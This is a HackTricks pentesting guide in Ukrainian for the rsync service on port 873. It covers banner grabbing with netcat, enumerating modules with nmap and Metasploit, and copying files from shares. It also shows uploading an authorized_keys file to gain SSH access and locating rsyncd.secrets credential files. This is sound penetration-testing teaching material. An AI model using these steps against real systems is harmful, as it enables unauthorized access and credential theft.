hacktricks/src/network-services-pentesting/873-pentesting-rsync.md

88 lines
5.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
{{#include ../banners/hacktricks-training.md}}
## **Основна інформація**
З [вікіпедії](https://en.wikipedia.org/wiki/Rsync):
> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Він зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating_system). Алгоритм rsync є типом [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може використовуватися для додаткового [стиснення даних](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть використовуватися для безпеки.
**Порт за замовчуванням:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Перерахування
### Банер та ручна комунікація
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Перерахування спільних папок**
**Rsync модулі** вважаються **спільними каталогами**, які можуть бути **захищені паролями**. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Зверніть увагу, що деякі спільні ресурси можуть не з'являтися у списку, можливо, приховуючи їх. Крім того, доступ до деяких спільних ресурсів може бути обмежений конкретними **обліковими даними**, що вказується повідомленням **"Доступ заборонено"**.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Ручне використання Rsync
Після отримання **списку модулів** дії залежать від того, чи потрібна аутентифікація. Без аутентифікації **перелік** та **копіювання** файлів з загальної папки до локального каталогу здійснюється за допомогою:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Цей процес **рекурсивно передає файли**, зберігаючи їх атрибути та дозволи.
З **обліковими даними** перелік та завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на пароль:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Щоб **завантажити вміст**, наприклад, файл _**authorized_keys**_ для доступу, використовуйте:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Щоб знайти файл конфігурації rsyncd, виконайте:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
У цьому файлі параметр _secrets file_ може вказувати на файл, що містить **імена користувачів та паролі** для аутентифікації rsyncd.
## Посилання
- [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{{#include ../banners/hacktricks-training.md}}